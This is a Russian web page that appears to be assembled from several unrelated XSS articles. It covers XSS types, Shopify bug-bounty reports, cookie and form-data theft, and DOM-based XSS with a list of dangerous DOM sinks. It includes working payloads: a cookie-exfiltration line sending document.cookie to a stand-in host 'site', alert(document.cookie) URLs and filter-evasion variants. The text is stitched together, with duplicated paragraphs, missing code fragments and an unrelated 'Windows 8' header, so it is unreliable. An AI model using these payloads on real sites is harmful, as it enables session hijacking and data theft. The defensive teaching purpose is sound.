Главная / Windows 8

Easy Hack: Как добыть данные через Cross Site Scripting Inclusion. Что собой представляет XSS-уязвимость Активная xss в теле письма

Межсайтовый скриптинг с применением java script – наиболее популярная разновидность атак. В данном материале мы расскажем вам о том, какие неприятности вызывает использование java script и как обезопасить себя от XSS атак.

Что такое XSS атака?

XSS – тип атак на пользователей Интернет-ресурсов, целью которых является похищение аутентификационных данных админов сайтов для получения доступа к административной части, прочих пользователей, которые имеют возможность персонального доступа к закрытым частям ресурса.

Данные атаки могут проводиться не только с целью взлома сайта, но также и для похищения:

Учётных данных для доступа к сторонним ресурсам;
Номеров банковских карт;
Данных для доступа к электронным кошелькам;
Контактных данных;
Иных пользовательских конфиденциальных данных.

Направления атак XSS

Данный тип атак имеет два направления:

Активные – разновидность атак, когда злоумышленник пытается найти уязвимые места в фильтре Интернет-ресурса. Посредством определённой комбинации символов и тегов хакер создаёт такой запрос, который ресурс понимает и выполняет команду. После нахождения уязвимого места в системе безопасности, в запрос вкладывается вредоносный код, который, например, будет пересылать все cookie в комфортное для хакера место.

Пассивные – предполагают вмешательство субъекта атаки. Суть – заставить пользователя перейти по вредоносной ссылке для реализации вредоносного кода. Данные атаки труднореализуемы, поскольку требуют наличия у злоумышленника отличных технических знаний и хороших познаний в области психологии.

Правила безопасности

Чтобы не стать жертвой атаки XSS следует придерживаться следующих правил безопасности:

Главное правило для разрабов – использование любого фильтра.

Фильтровать все вложенные конструкции.

Шифрование. При создании фильтра следует обязательно учитывать риск кодировки атак. Есть масса программ-кодировщиков, с помощью которых можно зашифровать какую угодно атаку так, что не один фильтр «не увидит» её. Так что применяйте расшифровку в фильтре до начала выполнения кода запроса.

Применение тегов. Есть одно уязвимое место, связанное с тегами url, bb, img, имеющими множество параметров, включая lowsrc и dynsrc, содержащие javacsript. Данные теги следует фильтровать. Если не будете применять на своём ресурсе картинки, то вообще отключите их.

Используемый фильтр должен учитывать различные варианты комбинаций символов. Чем их больше, тем лучше.

Заключение

По статистике 84% Интернет-ресурсов хорошо защищены от XSS атак. Прочие 16% не в состоянии эффективно противостоять им. Устранение этого грубого недочёта требует от владельцев сайтов дополнительных капиталовложений в безопасность, на что большинство из них не готовы. Однако ужесточение законодательства относительно повреждения, утечки и разглашения персональных данных всё больше заставляет недобросовестных владельцев улучшать безопасность своих сайтов.

Межсайтовый скриптинг, или Cross site scripting, или XSS, предполагает наличие сайта, подключающего непредусмотренный код Javascript, который, в свою очередь, передается пользователям, исполняющим этот код в своих браузерах. Безобидный пример XSS (именно такой вы должны использовать!) выглядит так:

alert(‘XSS’);

Это создаст вызовет функцию Javascript alert и создаст простое (и безобидное) окошко с буквами XSS. В предыдущих версиях книги я рекомендовал вам использовать этот пример при написании отчетов. Это было так, пока один чрезвычайно успешный хакер не сказал мне, что это был “ужасный пример”, объяснив, что получатель отчета об уязвимости может не понять опасность проблемы и из-за безобидности примера выплатить небольшое вознаграждение.

Таким образом, используйте этот пример для обнаружения XSS-уязвимости, но при составлении отчета подумайте о потенциальном вреде, который может нанести уязвимость и объясните его. Под этим я не подразумеваю рассказ компании о том, что же такое XSS, но предлагаю объяснить, чего вы можете добиться, используя уязвимость и как конкретно это могло отразиться на их сайте.

Существует три различных вида XSS, о которых вы могли слышать при исследовании и написании отчетов:

Reflective XSS: эти атаки не сохраняются на сайте, что означает создание и выполнение XSS в одном запросе и ответе.
Stored XSS: эти атаки сохраняются на сайте и зачастую более опасны. Они сохраняются на сервере и выполняются на “нормальных” страницах ничего не подозревающими пользователями.
Self XSS: эти атаки также не сохраняются на сайте и обычно используются как часть обмана человека с целью запуска XSS им самим.Когда вы ищете уязвимости, вы обнаружите, что компании зачастую не заботятся об устранении Self XSS, они беспокоятся только о тех случаях, когда вред их пользователям может быть нанесен не ими самими, а кем-либо еще, как в случае с Reflective и Stored XSS. Однако, это не значит, что вы не должны искать Self XSS.

Если вы нашли ситуацию, в которой Self XSS может быть выполнен, но не сохранен, подумайте о том, как может быть использована эта уязвимость, сможете ли вы использовать её в комбинации с чем-либо, чтобы она уже не была Self XSS?

Один из самых известных примеров использования XSS - MySpace Samy Work, выполненный Сами Камкаром. В октябре 2005 Сами использовал уязвимость stored XSS на MySpace, что позволило ему загрузить код Javascript, который выполнялся каждый раз, когда кто-нибудь посещал его страницу MySpace, добавляя посетителя страницы в друзья профиля Сами. Более того, код также копировал себя на страницы новых друзей Сами таким образом, чтобы профили новых его друзей обновлялись со следующим текстом: “but most of all, samy is my hero”.

Хотя пример Сами был относительно безобидным, использование XSS позволяет красть логины, пароли, банковскую информацию, и так далее. Несмотря на потенциальный вред, исправление XSS-уязвимостей, как правило, не является сложным и требует от разработчиков просто экранировать пользовательский ввод (прямо как в HTML-инъекции) при его отображении. Хотя, некоторые сайты так же убирают потенциально вредоносные символы, когда хакер их отправляет.

1. Распродажа Shopify

Сложность: Низкая
Url: wholesale.shopify.com
Ссылка на отчет: https://hackerone.com/reports/10629326 Дата отчета: 21 декабря 2015
Выплаченное вознаграждение: $500
Описание:

Сайт распродажи Shopify27 является простой страницей с прямым призывом к действию - введите название товара и нажмите “Find Products”. Вот скриншот:

Скриншот сайта распродаж wholesale

XSS-уязвимость здесь была самой простой, какую только можно найти - текст, введенный в поисковую строку не был экранирован, так что исполнялся любой введенный Javascript. Вот отправленный текст из описания уязвимости: test’;alert(‘XSS’);’

Причина того, что это сработало, в том, что Shopify принимал пользовательский ввод, выполнял поисковый запрос и при отсутствии результатов, печатал сообщение, сообщающее об отсутствии результатов поиска по введенному запросу, показывая на странице не экранированный пользовательский ввод. В результате, отправленный Javascript рендерился на странице и браузеры интерпретировали его как исполняемый Javascript.

Выводы

Тестируйте все, уделяйте особое внимание ситуациям, где введенный текст рендерится на странице. Проверяйте, можете ли вы включить в ввод HTML или Javascript, и смотрите, как сайт обрабатывает их. Так же пробуйте закодировать ввод подобно тому, как описано в главе, посвященной HTML-инъекциям.

XSS-уязвимости не должны быть сложными или запутанными. Эта уязвимость была самой простой, какую можно представить - простое поле для ввода текста, которое не обрабатывает пользовательский ввод. И она была обнаружена 21 декабря 2015, и принесла хакеру $500! Все, что потребовалось - хакерское мышление.

2. Корзина подарочных карт Shopify

Сложность: Низкая
Url: hardware.shopify.com/cart
Ссылка на отчет: https://hackerone.com/reports/9508928 Дата отчета: 21 октября 2015
Выплаченное вознаграждение: $500
Описание:

Сайт магазина подарочных карт Shopify29 позволяет пользователям создавать собственное оформление для подарочных карт с помощью HTML-формы, включающей в себя окошко загрузки файла, несколько строк для ввода текста деталей, и так далее. Вот скриншот:

Скриншот формы магазина подарочных карт Shopify

XSS-уязвимость здесь срабатывала, когда в поле формы, предназначенное для названия изображения, вводили Javascript. Это довольно легко сделать, используя HTML прокси, о которых мы поговорим позднеев главе “Инструменты”. Итак, оригинальная отправка формы включала:

Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file ] ”

Её можно было перехватить и изменить на:

Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file < img src = ’test ’onmouseover = ’alert (2 ) ’> ] ”;

Выводы

Здесь можно подметить две вещи, которые помогут обнаруживать XSS-уязвимости.

Межсайтовый скриптинг (сокращенно XSS) - широко распространенная уязвимость, затрагивающая множество веб-приложений. Она позволяет злоумышленнику внедрить вредоносный код в веб-сайт таким образом, что браузер пользователя, зашедшего на сайт, выполнит этот код.

Обычно для эксплуатации подобной уязвимости требуется определенное взаимодействие с пользователем: либо его заманивают на зараженный сайт при помощи социальной инженерии, либо просто ждут, пока тот сам посетит данный сайт. Поэтому разработчики часто не воспринимают всерьез XSS-уязвимости.

Но если их не устранять, это может нести серьезную угрозу безопасности.

Представим, что мы находимся в панели администратора WordPress, добавляем новый контент. Если мы используем для этого уязвимый к XSS плагин, он может заставить браузер создать нового администратора, видоизменить контент и выполнить другие вредоносные действия. Межсайтовый скриптинг предоставляет злоумышленнику практически полный контроль над самым важным программным обеспечением в наши дни - браузером.

XSS: Уязвимость для инъекции

Любой веб-сайт или приложение имеет несколько мест ввода данных -полей формы до самого URL. Простейший пример вводимых данных - когда мы вписываем имя пользователя и пароль в форму:

Наше имя будет храниться в базе данных сайта для последующего взаимодействия с нами. Наверняка, когда вы проходили авторизацию на каком-либо сайте, вы видели персональное приветствие в стиле «Добро пожаловать, Илья».

Именно для таких целей имена пользователей хранятся в базе данных.

Инъекцией называется процедура, когда вместо имени или пароля вводится специальная последовательность символов, заставляющая сервер или браузер отреагировать определенным, нужным злоумышленнику образом.

Межсайтовым скриптингом называется инъекция, внедряющая код, который будет выполнять действия в браузере от имени веб-сайта. Это может происходить как с уведомлением пользователя, так и в фоновом режиме, без его ведома.

Традиционные XSS-атаки: Отраженные (непостоянные).

Отраженная XSS-атака срабатывает, когда пользователь переходит по специально подготовленной ссылке.

Эти уязвимости появляются, когда данные, предоставленные веб-клиентом, чаще всего в параметрах HTTP-запроса или в форме HTML, исполняются непосредственно серверными скриптами для синтаксического анализа и отображения страницы результатов для этого клиента, без надлежащей обработки.

Хранимые (постоянные).

Хранимые XSS возможны, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML-формате.

Уязвимости, вызванные кодом на стороне клиента (JavaScript, Visual Basic, Flash и т. д.): Также известные как DOM-модели: Отраженные (непостоянные).

То же самое, что и в случае с серверной стороной, только в этом случае атака возможна благодаря тому, что код обрабатывается браузером.

Хранимые (постоянные).

Аналогичны хранимым XSS на стороне сервера, только в этом случае вредоносная составляющая сохраняется на клиентской стороне, используя хранилище браузера.

Примеры XSS уязвимостей.

Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:

Http://www.site.com/page.php?var=alert("xss");

Существует два типа XSS уязвимостей - пассивная и активная.

Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.

Пример пассивной уязвимости можно посмотреть в самом начале статьи. Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.

Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.

document.getElementsByTagName("form").submit();

Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).

Кража Cookies

Это наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.

Var іmg = new Image(); іmg.srс = "http://site/xss.php?" + document.cookie;

Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть , , , background:url(); и т.п.

Кража данных из форм

Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.

Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.

DDoS-атака (распределенная атака типа «отказ в обслуживании»)

XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста - много запросов, которые не выдерживает атакуемый сервер.
Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:

В чем опасность XSS?

Как можно защитить свой сайт от XSS? Как проверить код на наличие уязвимости? Существуют технологии вроде Sucuri Firewall, специально разработанные для того, чтобы избежать подобных атак. Но если вы разработчик, вы, безусловно, захотите узнать подробнее, как идентифицировать и устранить XSS-уязвимости.

Об этом мы поговорим в следующей части статьи, посвященной XSS.

Через XSS опытные злоумышленники интегрируют в страницы сайтов-жертв работающие на них скрипты, выполняемые в момент посещения зараженных ресурсов. Существует несколько видов XSS-уязвимостей, представляющих различную степень опасности.

Особенности пассивной и активной уязвимости

Наиболее осторожно стоит относиться к активной уязвимости. Когда злоумышленник внедряет свой SQL-код в доступную базу либо файл на сервер, жертвой может стать каждый посетитель зараженного ресурса. Такие места часто интегрируются, поэтому даже обработанные вашей защитой данные, хранящиеся в БД, могут по-прежнему представлять определенную опасность.

Создание пассивной XSS-уязвимости требует от злоумышленника определенной изобретательности. Либо вас заманивают на подставной ресурс всевозможными ссылками, либо пытаются любыми способами переадресовать на требуемый сайт. Обычно это происходит через письма от вымышленной администрации посещаемой вами страницы, с запросами проверки настроек аккаунта. Также активно используется разнообразные спам-рассылки или посты на широко посещаемых форумах.

Пассивная XSS-уязвимость может исходить как от POST так и от GET-параметров. Для первых характерен ряд различных ухищрений, для вторых – кодировка url-строки либо вставка дополнительных значений.

Похищение Cookies

Чаще всего именно ваши Cookies становятся целью проводимой XSS атаки. Иногда в них остается ценная информация, включающая логины и пароли пользователей либо их хэш. Но достаточно опасны и совершения краж активных сессий важных для вас сайтов, поэтому не стоит забывать нажимать на кнопку «выход» даже при посещении сайтов с домашнего компьютера. Хотя большинство ресурсов для предотвращения подобных действий используют автоматическое ограничение длительности сессии. Доменные же ограничения XMLHttpRequest от таких атак не спасают.

Данные из заполняемых форм

Пользуется популярностью и считывание информации в заполняемых формах. Для этого на вызывающих интерес страницах выполняется отслеживание событий (onsubmit), а все предоставляемые данные пересылаются также и на сервера злоумышленников. Такие атаки во многом схожи с фишинговыми, но кража происходит не на поддельном, а на реальном сайте с хорошей репутацией.

Распределенные DDoS-атаки

Для атак через XSS используются и многопосещаемые ресурсы. Благодаря XSS-уязвимости выполняется переадресация приходящих на них запросов на взламываемый сервер, в результате чего его защита не выдерживает.

Поддельные межсайтовые запросы (CSRF/XSRF)

У них также мало общего с XSS. Это отдельная разновидность уязвимостей, используемых в сочетании с XSS. Их целью является завлечение авторизованного пользователя с неуязвимого сайта на подставную уязвимую страницу для проведения обманных операций. Например, клиента, использующего электронную систему платежей, выманивают на уязвимый сайт, переводящий деньги на счета злоумышленников. Поэтому в большинстве платежных систем предусмотрена защита путем дополнительного введения пароля либо подтверждающего операцию кода.

Внедрение XSS-червей

Такая XSS атака на сайт появилась с развитием известных соцсетей (Вконтакте, Twitter и других). Через них целые группы пользователей получают уязвимые XSS ссылки с интегрированными скриптами, рассылающими по сетям спам от их имени. Также широко практикуется и попутное копирование личной информации и фотографий на ресурсы злоумышленников.

Примеры безобидных XSS

Заметим, что многие типы счетчиков также выполняют роль активных XSS. С них ведется передача данных о регистрирующихся посетителях (их IP-адреса, данные об используемом оборудовании).

Только данный код интегрируется у вас в компьютере по вашей же воле. К другим подобным XSS можно смело отнести целый ряд кроссдоменных AJAX-запросов.

Все мы знаем, что такое межсайтовый скриптинг, правда? Это уязвимость, при которой атакующий посылает злонамеренные данные (обычно это HTML, содержащий код Javascript), которые позднее возвращаются приложением, что вызывает исполнение Javascript кода. Итак, это неверно! Существует тип XSS атак не соответствующий этому определению, по крайней мере, в основных фундаментальных принципах. XSS атаки, определение которых приведено выше, подразделяются на моментальные (злонамеренные данные встраиваются в страницу, которая возвращается браузеру сразу же после запроса) и отложенные (злонамеренные данные возвращаются через некоторое время). Но есть еще третий тип XSS атак, в основе которого не лежит отправка злонамеренных данных на сервер. Несмотря на то, что это кажется противоречащим здравому смыслу, есть два хорошо описанных примера такой атаки. Эта статья описывает третий тип XSS атак – XSS через DOM (DOM Based XSS). Здесь не будет написано ничего принципиально нового об атаке, скорее новшество этого материала в выделении отличительных черт атаки, которые являются очень важными и интересными.

Разработчики и пользователи прикладных приложений должны понимать принципы атаки XSS через DOM, так как она представляет угрозу для web приложений и отличается от обычного XSS. В сети интернет есть много web приложений уязвимых к XSS через DOM и при этом проверенных на XSS и признанных “неуязвимыми” к этому типу атак. Разработчики и администраторы сайтов должны ознакомиться с методами обнаружения и защиты от XSS через DOM, так как эти методики отличаются от приемов, используемых при работе со стандартными XSS уязвимостями.

Введение

Читатель должен быть знаком с основными принципами XSS атак (, , , , ). Под XSS обычно подразумевается моментальный () и отложенный межсайтовый скриптинг. При моментальном XSS злонамеренный код (Javascript) возвращается атакуемым сервером немедленно в качестве ответа на HTTP запрос. Отложенный XSS означает, что злонамеренный код сохраняется на атакуемой системе и позднее может быть внедрен в HTML страницу уязвимой системы. Как было упомянуто выше, такая классификация предполагает, что фундаментальное свойство XSS состоит в том, что злонамеренный код отсылается из браузера на сервер и возвращается в этот же браузер (моментальный XSS) или любой другой браузер (отложенный XSS). В этой статье поднимается вопрос о том, что это неверная классификация. Возможность осуществления XSS атаки, не основывающейся на внедрении кода в страницу, возвращаемую сервером, оказала бы серьезное влияние на методы защиты и обнаружения. Принципы таких атак обсуждаются в этой статье.

Пример и комментарии

Перед описанием простейшего сценария атаки важно подчеркнуть, что методы, описываемые здесь, уже неоднократно демонстрировались публично (например, , и ). Я не претендую на то, что приведенные ниже методики описываются впервые (хотя некоторые из них имеют отличия от ранее опубликованных материалов).

Признаком уязвимого сайта может служить наличие HTML страницы, использующей данные из document.location, document.URL или document.referrer (или любых других объектов на которые может влиять атакующий) небезопасным способом.

Примечание для читателей незнакомых с этими объектами Javascript: когда код Javascript выполняется в браузере, он получает доступ к нескольким объектам, представленных в рамках DOM (Document Object Model – Объектная Модель Документа). Объект document является главным среди этих объектов и предоставляет доступ к большинству свойств страницы. Этот объект содержит много вложенных объектов, таких как location, URL и referrer. Они управляются браузером в соответствии с точкой зрения браузера (как будет видно ниже, это весьма существенно). Итак, document.URL и document.location содержат URL страницы, а точнее, то, что браузер подразумевает под URL. Обратите внимание, эти объекты не берутся из тела HTML страницы. Объект document содержит объект body, содержащий обработанный (parsed) HTML код страницы.

Не сложно найти HTML страницу, содержащую Javascript код, который анализирует строку URL (получив к ней доступ через document.URL или document.location) и в соответствии с ее значением выполняет некоторые действия на стороне клиенте. Ниже приведен пример такого кода.

По аналогии с примером в рассмотрим следующую HTML страницу (предположим, что это содержание http://www.vulnerable.site/welcome.html ):

Welcome! Hi var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
Welcome to our system …

Однако запрос наподобие этого –

http://www.vulnerable.site/welcome.html?name=alert(document.cookie)

вызвал бы XSS. Рассмотрим, почему: браузер жертвы, получивший это ссылку, отправляет HTTP запрос на www.vulnerable.site и получает вышеупомянутую (статическую!) HTML страницу. Браузер жертвы начинает анализировать этот HTML код. DOM содержит объект document, имеющий поле URL, и это поле заполняется значением URL текущей страницы в процессе создания DOM. Когда синтаксический анализатор доходит до Javascript кода, он выполняет его, что вызывает модификацию HTML кода отображаемой страницы. В данном случае, код ссылается на document.URL и так как часть этой строки во время синтаксического разбора встраивается в HTML, который сразу же анализируется, обнаруженный код (alert(…)) выполняется в контексте той же самой страницы.

Замечания:

1. Злонамеренный код не встраивается в HTML страницу (в отличие от других разновидностей XSS).
2. Этот эксплойт будет работать при условии, что браузер не модифицирует символы URL. Mozilla автоматически кодирует символы ‘’ (в %3C и %3E соответственно) во вложенных объектах document. Если URL был напечатан напрямую в строке адреса, этот браузер неуязвим для атаки описанной в этом примере. Однако, если для атаки не нужны символы ‘’ (в исходном незакодированном виде) атаку можно осуществить. Microsoft Internet Explorer 6.0 не кодирует ‘’ и поэтому уязвим к описанной атаке без каких-либо ограничений. Однако существует много различных сценариев атаки, не требующих ‘’, и поэтому даже Mozilla не имеет иммунитета к этой атаке.

Методы обнаружения и предотвращения уязвимостей этого типа

В примере выше злонамеренный код все еще передается на сервер (как часть HTTP запроса), поэтому атака может быть обнаружена, так же как и любая другая XSS атака. Но это решаемая проблема.

Рассмотрим следующий пример:

http://www.vulnerable.site/welcome.html#name=alert(document.cookie)

Обратите внимание на символ ‘#’ справа от имени файла. Он говорит браузеру, что все после этого символа не является частью запроса. Microsoft Internet Explorer (6.0) и Mozilla не отправляет фрагмент после символа ‘#’ на сервер, поэтому для сервера этот запрос будет эквивалентен http://www.vulnerable.site/welcome.html, т.е. злонамеренный код даже не будет замечен сервером. Таким образом, благодаря этому приему, браузер не отправляет злонамеренную полезную нагрузку на сервер.

Но все же в некоторых случаях невозможно скрыть полезную нагрузку: в и злонамеренная полезная нагрузка является частью имени пользователи (username) в URL типа http://username@host/. В этом случае браузер отправляет запрос с заголовком Authorization, содержащий имя пользователи (злонамеренная полезная нагрузка), в результате чего злонамеренный код попадает на сервер (закодированный с помощью Base64 – следовательно IDS/IPS для обнаружения атаки должны вначале декодировать эти данные). Однако сервер не обязан внедрять эту полезную нагрузку в одну из доступных HTML страниц, хотя это является необходимым условием выполнения XSS атаки.

Очевидно, что в ситуациях, когда полезная нагрузка может быть полностью скрыта, средства обнаружения (IPS) и предотвращения (IPS, межсетевые экраны для web приложений) не могут полностью защитить от этой атаки. Даже если полезную нагрузку нужно отсылать на сервер, во многих случаях для избежания обнаружения она может быть преобразована определенным образом. Например, если какой-то параметр защищен (к примеру, параметр name в примере выше), небольшое изменение сценария атаки может принести результат:

(document.cookie)

Более строгая политика безопасности требовала бы обязательной отсылки параметра name. В этом случае вы может сделать следующий запрос:

http://www.vulnerable.site/welcome.html?notname=alert(document.cookie)&name=Joe

Если политика безопасности ограничивает дополнительные имена параметров (например: foobar), можно использовать следующий вариант:

http://www.vulnerable.site/welcome.html?foobar=name=alert(document.cookie)&name=Joe

Обратите внимание, что игнорируемый параметр (foobar) должен идти первым и в своем значении содержать полезную нагрузку.

Сценарий атаки, описанный в , еще более предпочтителен для атакующего, так как в HTML страницу пишется полное значение document.location (Javascript код не производит поиск специфичного имени параметра). Таким образом, атакующий может полностью скрыть полезную нагрузку, отправив следующее:

/attachment.cgi?id=&action=foobar#alert(document.cookie)

Даже если полезная нагрузка анализируется сервером, защита может гарантироваться только в том случае, если запрос будет отклонен или ответ будет заменен на некоторый текст ошибки. Обратимся снова к и : если заголовок Authorization будет просто удален промежуточной системой защиты, это не принесет никакого эффекта, если будет возвращена оригинальная страница. Аналогично любая попытка обработки данных на сервере, путем удаления или кодирования запрещенных символов, будет неэффективна против этой атаки.

В случае с document.referrer, полезная нагрузка отсылается на сервер через заголовок Referer. Однако если браузер пользователя или промежуточная защита удалит этот заголовок — не останется никаких следов атаки, которая можно пройти полностью незамеченной.

Подводя итоги, делаем вывод, что традиционные методы, а именно

1. Кодирование данных HTML на стороне сервера
2. Удаление/кодирование запрещенных входных данных на стороне сервера не работают против DOM XSS.

Автоматический поиск уязвимости путем “бомбардировки” злонамеренными данными (иногда называемый fuzzing) не будет работать, так как программы, использующие эту методику, обычно делают выводы на основе того, присутствуют ли внедренные данные в возвращенной странице или нет (вместо выполнения кода в контексте браузера на стороне клиента и наблюдения за результатами). Однако, если программа может статически анализировать код Javascript, обнаруженный на странице, она может указать на подозрительные признаки (см. ниже). И конечно, если средства защиты могут исполнять код Javascript (и корректно инициализировать DOM объекты) или эмулировать такое исполнение, они смогут обнаружить эту атаку.

Ручной поиск уязвимости с помощью браузера также будет работать, так как браузер может выполнять клиентский код Javascript. Средства поиска уязвимостей могут принять на вооружение этот метод и выполнять код на стороне клиента для слежения за результатами его выполнения.
Эффективная защита

Избегать перезаписи документа на стороне клиента, переадресацию или другие подобные действия, использующие данные на стороне клиента. Большинство этих действий может быть выполнено с использованием динамических страниц (на стороне сервера).
2.

Анализ и повышение защищенности кода (Javascript) на стороне клиента. Ссылки на объекты DOM, на которые может влиять пользователь (атакующий), должны быть тщательно проверены. Особое внимание нужно уделять следующим объектам (но не ограничиваться ими):
* document.URL
* document.URLUnencoded
* document.location (и его свойства)
* document.referrer
* window.location (и его свойства)

Обратите внимание: на свойства объектов document и window можно сослаться несколькими способами: явно (пример — window.location), неявно (пример — location) или через получения дескриптора и использования его (пример — handle_to_some_window.location).

Особое внимание нужно уделить коду, где модифицируется DOM, явно или есть потенциальная возможность, а также через прямой доступ к HTML или через доступ непосредственно к DOM. Примеры (это ни в коем случае не исчерпывающий список):
* Запись в HTML код страницы:
o document.write(…)
o document.writeln(…)
o document.body.innerHtml=…
* Изменение DOM напрямую (включая события DHTML):
o document.forms.action=… (и другие вариации)
o document.attachEvent(…)
o document.create…(…)
o document.execCommand(…)
o document.body. … (доступ к DOM через объект body)
o window.attachEvent(…)
* Изменение URL документа:
o document.location=… (а также присвоение значений href, host и hostname объекта location)
o document.location.hostname=…
o document.location.replace(…)
o document.location.assign(…)
o document.URL=…
o window.navigate(…)
* Открытие/модификация объекта window:
o document.open(…)
o window.open(…)
o window.location.href=… (а также присвоение значения host и hostname объекта location)
* Выполнение скрипта напрямую:
o eval(…)
o window.execScript(…)
o window.setInterval(…)
o window.setTimeout(…)

В продолжение вышеупомянутого примера, для эффективной защиты оригинальный скрипт может быть заменен следующим кодом, который проверяет строку, записываемую в HTML страницу на наличие только алфавитно-цифровых символов.